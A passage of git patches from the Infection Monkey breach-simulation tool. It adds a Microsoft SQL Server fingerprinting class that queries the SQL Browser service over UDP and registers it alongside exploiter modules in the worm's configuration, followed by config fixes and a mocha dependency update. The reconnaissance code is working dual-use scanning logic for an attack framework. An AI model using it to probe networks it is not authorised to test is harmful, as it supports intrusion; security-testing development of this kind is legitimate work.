__import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + Args: + host (str): Hostname or IP address of the SQL Server to query for information. + + Returns: + Discovered server information written to the Host info struct. + """ + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + server_address = (str(host), browser_port) + + if instance_name: + # The message is a CLNT_UCAST_INST packet to get a single instance + # https://msdn.microsoft.com/en-us/library/cc219746.aspx + message = '\x04{0}\x00'.format(instance_name) + else: + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + results = [] + try: + logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(buffer_size) + except socket.timeout: + logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + return results + + # Loop through the server data + for server in data[3:].decode().split(';;'): + server_info = OrderedDict() + instance_info = server.split(';') + + if len(instance_info) > 1: + for i in range(1, len(instance_info), 2): + server_info[instance_info[i - 1]] = instance_info[i] + + results.append(server_info) + + # Close the socket + sock.close() + + return results From 8b22a520066ed6a45cb37270ce77b40d56a1d117 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:16:39 +0300 Subject: [PATCH 72/92] Added the mssql finger class to the main network init file so it will be usable. --- infection_monkey/network/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index a1df9d2e9..15c3166aa 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port +from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file From d4c1871f87d2b0ae5d6f0974ec7bdd149ea7a6aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:08 +0300 Subject: [PATCH 73/92] Implemented the first draft of the mssql fingerprint class Every line of code is documented and straight forward. --- infection_monkey/network/mssql_fingerprint.py | 39 ++++++++++--------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index bbe762e27..51f5e25b0 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -3,7 +3,6 @@ import socket from model.host import VictimHost from network import HostFinger -from .tools import struct_unpack_tracker, struct_unpack_tracker_string LOG = logging.getLogger(__name__) @@ -11,6 +10,12 @@ LOG = logging.getLogger(__name__) class MSSQLFingerprint(HostFinger): + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'mssql' + def __init__(self): self._config = __import__('config').WormConfiguration @@ -23,19 +28,16 @@ class MSSQLFingerprint(HostFinger): Discovered server information written to the Host info struct. """ + assert isinstance(host, VictimHost) + # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(timeout) - server_address = (str(host), browser_port) + sock.settimeout(self.TIMEOUT) + server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) - if instance_name: - # The message is a CLNT_UCAST_INST packet to get a single instance - # https://msdn.microsoft.com/en-us/library/cc219746.aspx - message = '\x04{0}\x00'.format(instance_name) - else: - # The message is a CLNT_UCAST_EX packet to get all instances - # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = '\x03' + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' # Encode the message as a bytesarray message = message.encode() @@ -43,23 +45,22 @@ class MSSQLFingerprint(HostFinger): # send data and receive response results = [] try: - logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) - data, server = sock.recvfrom(buffer_size) + data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() return results + host.services[self.SERVICE_NAME] = {} + # Loop through the server data for server in data[3:].decode().split(';;'): - server_info = OrderedDict() instance_info = server.split(';') - if len(instance_info) > 1: for i in range(1, len(instance_info), 2): - server_info[instance_info[i - 1]] = instance_info[i] - - results.append(server_info) + host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() From fadafdbd3ade5c16652a238c38f08d9d201e6c75 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:54 +0300 Subject: [PATCH 74/92] Updated the config files to default include the mssql fingerfrint class: MSSQLFingerprinter, in the monkey's configuration. --- infection_monkey/config.py | 3 ++- infection_monkey/example.conf | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 7bd651965..5be1394c0 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -8,7 +8,8 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger +from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ + MSSQLFingerprint __author__ = 'itamar' diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1baed66f2..5889b68d3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -44,6 +44,7 @@ "HTTPFinger", "SMBFinger", "MySQLFinger", + "MSSQLFingerprint", "ElasticFinger" ], "max_iterations": 3, From 1272700fe5283922318db5bb815d7fb2e01faec5 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 20:02:18 +0300 Subject: [PATCH 75/92] * Added an author mark and updated docs * Changed the module to use the VictimHost object as host * added True\False return statements. --- infection_monkey/network/mssql_fingerprint.py | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 51f5e25b0..ab17ecb3b 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -4,6 +4,7 @@ import socket from model.host import VictimHost from network import HostFinger +__author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) @@ -21,11 +22,12 @@ class MSSQLFingerprint(HostFinger): def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - Args: - host (str): Hostname or IP address of the SQL Server to query for information. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. - Returns: + :returns: Discovered server information written to the Host info struct. + True if success, False otherwise. """ assert isinstance(host, VictimHost) @@ -33,7 +35,7 @@ class MSSQLFingerprint(HostFinger): # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(self.TIMEOUT) - server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) # The message is a CLNT_UCAST_EX packet to get all instances # https://msdn.microsoft.com/en-us/library/cc219745.aspx @@ -43,7 +45,6 @@ class MSSQLFingerprint(HostFinger): message = message.encode() # send data and receive response - results = [] try: LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) @@ -51,7 +52,7 @@ class MSSQLFingerprint(HostFinger): except socket.timeout: LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() - return results + return False host.services[self.SERVICE_NAME] = {} @@ -59,10 +60,13 @@ class MSSQLFingerprint(HostFinger): for server in data[3:].decode().split(';;'): instance_info = server.split(';') if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): - host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() - return results + return True From d312a3a77146d40d8096e74e81bf581a8854e365 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 13:26:28 +0300 Subject: [PATCH 76/92] * Changed name from MSSQLFingerprint to MSSQLFinger to match convention. * Added UI support for the new fingerprint in Monkey Island. * UI supports includes writing up MSSQL as a service under node's services list. --- infection_monkey/config.py | 2 +- infection_monkey/network/__init__.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 4 ++-- monkey_island/cc/services/config.py | 9 +++++++++ 4 files changed, 13 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1eacaef58..3472c63a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,7 +9,7 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ - MSSQLFingerprint + MSSQLFinger __author__ = 'itamar' diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index 15c3166aa..fa15e357c 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,4 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port -from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file +from mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ab17ecb3b..70f4f2369 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -9,13 +9,13 @@ __author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) -class MSSQLFingerprint(HostFinger): +class MSSQLFinger(HostFinger): # Class related consts SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - SERVICE_NAME = 'mssql' + SERVICE_NAME = 'MSSQL' def __init__(self): self._config = __import__('config').WormConfiguration diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..2887bf5a3 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -121,6 +121,14 @@ SCHEMA = { ], "title": "MySQLFinger" }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + { "type": "string", "enum": [ @@ -367,6 +375,7 @@ SCHEMA = { "PingScanner", "HTTPFinger", "MySQLFinger", + "MSSQLFinger", "ElasticFinger" ], "description": "Determines which classes to use for fingerprinting" From db6f44109b6b8d8c5d86186287b3c4adc1311b4e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 16:29:27 +0300 Subject: [PATCH 77/92] * Responding to the PR comments with the logs and usage changes. --- infection_monkey/config.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 3472c63a8..6a01a7e29 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -146,7 +146,7 @@ class Configuration(object): max_iterations = 1 scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] + finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 70f4f2369..9409c2255 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -50,15 +50,17 @@ class MSSQLFinger(HostFinger): sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False host.services[self.SERVICE_NAME] = {} # Loop through the server data - for server in data[3:].decode().split(';;'): - instance_info = server.split(';') + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') if len(instance_info) > 1: host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): From 20d4b3a642fa2688fded5c55152d75eaae3de72c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 16:05:12 +0300 Subject: [PATCH 78/92] Fix default config values --- infection_monkey/config.py | 4 ++-- infection_monkey/example.conf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..eea600ff6 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -184,9 +184,9 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - subnet_scan_list = ['', ] + subnet_scan_list = [] - blocked_ips = ['', ] + blocked_ips = [] # TCP Scanner HTTP_PORTS = [80, 8080, 443, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..45eed24a3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -8,9 +8,9 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - "" + ], - "blocked_ips": [""], + "blocked_ips": [], "current_server": "41.50.73.31:5000", "alive": true, "collect_system_info": true, From 0173aaf3f65448d8923328523af49d708b1ef614 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 17:36:17 +0300 Subject: [PATCH 79/92] Update mocha Change color structure for edge - required by update --- monkey_island/cc/ui/package-lock.json | 206 ++++++------------ monkey_island/cc/ui/package.json | 2 +- .../cc/ui/src/components/pages/MapPage.js | 2 +- 3 files changed, 67 insertions(+), 143 deletions(-) diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..c7538ccc6 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -152,7 +152,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", "dev": true }, "array-find-index": { @@ -1564,9 +1564,9 @@ } }, "browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, "browserify-aes": { @@ -1906,13 +1906,10 @@ } }, "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", - "dev": true, - "requires": { - "graceful-readlink": "1.0.1" - } + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", + "dev": true }, "commondir": { "version": "1.0.1", @@ -1996,7 +1993,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2011,7 +2008,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -2085,7 +2082,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", + "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", "requires": { "toggle-selection": "1.0.6" } @@ -2408,9 +2405,9 @@ "dev": true }, "diff": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.2.0.tgz", - "integrity": "sha1-yc45Okt8vQsFinJck98pkCeGj/k=", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", "dev": true }, "doctrine": { @@ -3845,7 +3842,8 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "json-schema": { "version": "0.2.3", @@ -4346,7 +4344,7 @@ "glob": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -4397,7 +4395,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", "dev": true }, "globby": { @@ -4420,16 +4418,10 @@ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", "dev": true }, - "graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha1-TK+tdrxi8C+gObL5Tpo906ORpyU=", - "dev": true - }, "growl": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.9.2.tgz", - "integrity": "sha1-Dqd0NxXbjY3ixe3hd14bRayFwC8=", + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", "dev": true }, "hammerjs": { @@ -4560,7 +4552,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", + "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -4593,7 +4585,7 @@ "hosted-git-info": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha512-pNgbURSuab90KbTqvRPsseaTxOJCZBD0a7t+haSN33piP9cCM4l0CqdzAif2hUqm716UovKB2ROmiabGAKVXyg==", + "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", "dev": true }, "html-comment-regex": { @@ -4678,7 +4670,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" + "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" }, "icss-replace-symbols": { "version": "1.1.0", @@ -5553,28 +5545,6 @@ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.4.tgz", "integrity": "sha1-3MHXVS4VCgZABzupyzHXDwMpUOc=" }, - "lodash._baseassign": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz", - "integrity": "sha1-jDigmVAPIVrQnlnxci/QxSv+Ck4=", - "dev": true, - "requires": { - "lodash._basecopy": "3.0.1", - "lodash.keys": "3.1.2" - } - }, - "lodash._basecopy": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz", - "integrity": "sha1-jaDmqHbPNEwK2KVIghEd08XHyjY=", - "dev": true - }, - "lodash._basecreate": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz", - "integrity": "sha1-G8ZhYU2qf8MRt9A78WgGoCE8+CE=", - "dev": true - }, "lodash._createcompounder": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash._createcompounder/-/lodash._createcompounder-3.0.0.tgz", @@ -5585,18 +5555,6 @@ "lodash.words": "3.2.0" } }, - "lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "dev": true - }, - "lodash._isiterateecall": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz", - "integrity": "sha1-UgOte6Ql+uhCRg5pbbnPPmqsBXw=", - "dev": true - }, "lodash._root": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", @@ -5618,17 +5576,6 @@ "lodash._createcompounder": "3.0.0" } }, - "lodash.create": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/lodash.create/-/lodash.create-3.1.1.tgz", - "integrity": "sha1-1/KEnw29p+BGgruM1yqwIkYd6+c=", - "dev": true, - "requires": { - "lodash._baseassign": "3.2.0", - "lodash._basecreate": "3.0.3", - "lodash._isiterateecall": "3.0.9" - } - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -5648,29 +5595,6 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.isarguments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", - "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=", - "dev": true - }, - "lodash.isarray": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-3.0.4.tgz", - "integrity": "sha1-eeTriMNqgSKvhvhEqpvNhRtfu1U=", - "dev": true - }, - "lodash.keys": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-3.1.2.tgz", - "integrity": "sha1-TbwEcrFWvlCgsoaFXRvQsMZWCYo=", - "dev": true, - "requires": { - "lodash._getnative": "3.9.1", - "lodash.isarguments": "3.1.0", - "lodash.isarray": "3.0.4" - } - }, "lodash.memoize": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", @@ -5853,7 +5777,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5945,7 +5869,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -5975,46 +5899,46 @@ } }, "mocha": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.3.tgz", - "integrity": "sha512-/6na001MJWEtYxHOV1WLfsmR4YIynkUEhBwzsb+fk2qmQ3iqsi258l/Q2MWHJMImAcNpZ8DEdYAK72NHoIQ9Eg==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-5.2.0.tgz", + "integrity": "sha512-2IUgKDhc3J7Uug+FxMXuqIyYzH7gJjXECKe/w43IGgQHTSj3InJi+yAA7T24L9bQMRKiUEHxEX37G5JpVUGLcQ==", "dev": true, "requires": { - "browser-stdout": "1.3.0", - "commander": "2.9.0", - "debug": "2.6.8", - "diff": "3.2.0", + "browser-stdout": "1.3.1", + "commander": "2.15.1", + "debug": "3.1.0", + "diff": "3.5.0", "escape-string-regexp": "1.0.5", - "glob": "7.1.1", - "growl": "1.9.2", + "glob": "7.1.2", + "growl": "1.10.5", "he": "1.1.1", - "json3": "3.3.2", - "lodash.create": "3.1.1", + "minimatch": "3.0.4", "mkdirp": "0.5.1", - "supports-color": "3.1.2" + "supports-color": "5.4.0" }, "dependencies": { - "glob": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", - "integrity": "sha1-gFIR3wT6rxxjo2ADBs31reULLsg=", + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "ms": "2.0.0" } }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, "supports-color": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.1.2.tgz", - "integrity": "sha1-cqJiiU2dQIuVbKBf83su2KbiotU=", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "1.0.0" + "has-flag": "3.0.0" } } } @@ -6159,7 +6083,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "dev": true, "requires": { "hosted-git-info": "2.5.0", @@ -11050,7 +10974,7 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": 